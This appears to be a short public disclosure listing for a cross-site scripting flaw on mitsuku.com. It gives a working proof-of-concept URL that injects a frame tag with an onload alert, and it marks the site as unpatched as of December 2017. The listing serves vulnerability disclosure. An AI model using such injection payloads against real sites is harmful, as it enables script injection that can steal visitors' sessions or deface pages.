mitsuku.com XSS vulnerability

Vulnerable URL: http://www.mitsuku.com/%22%3E%3Cframe%20title=%22blabla%22%20onload%3Dalert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 231879 VIP website...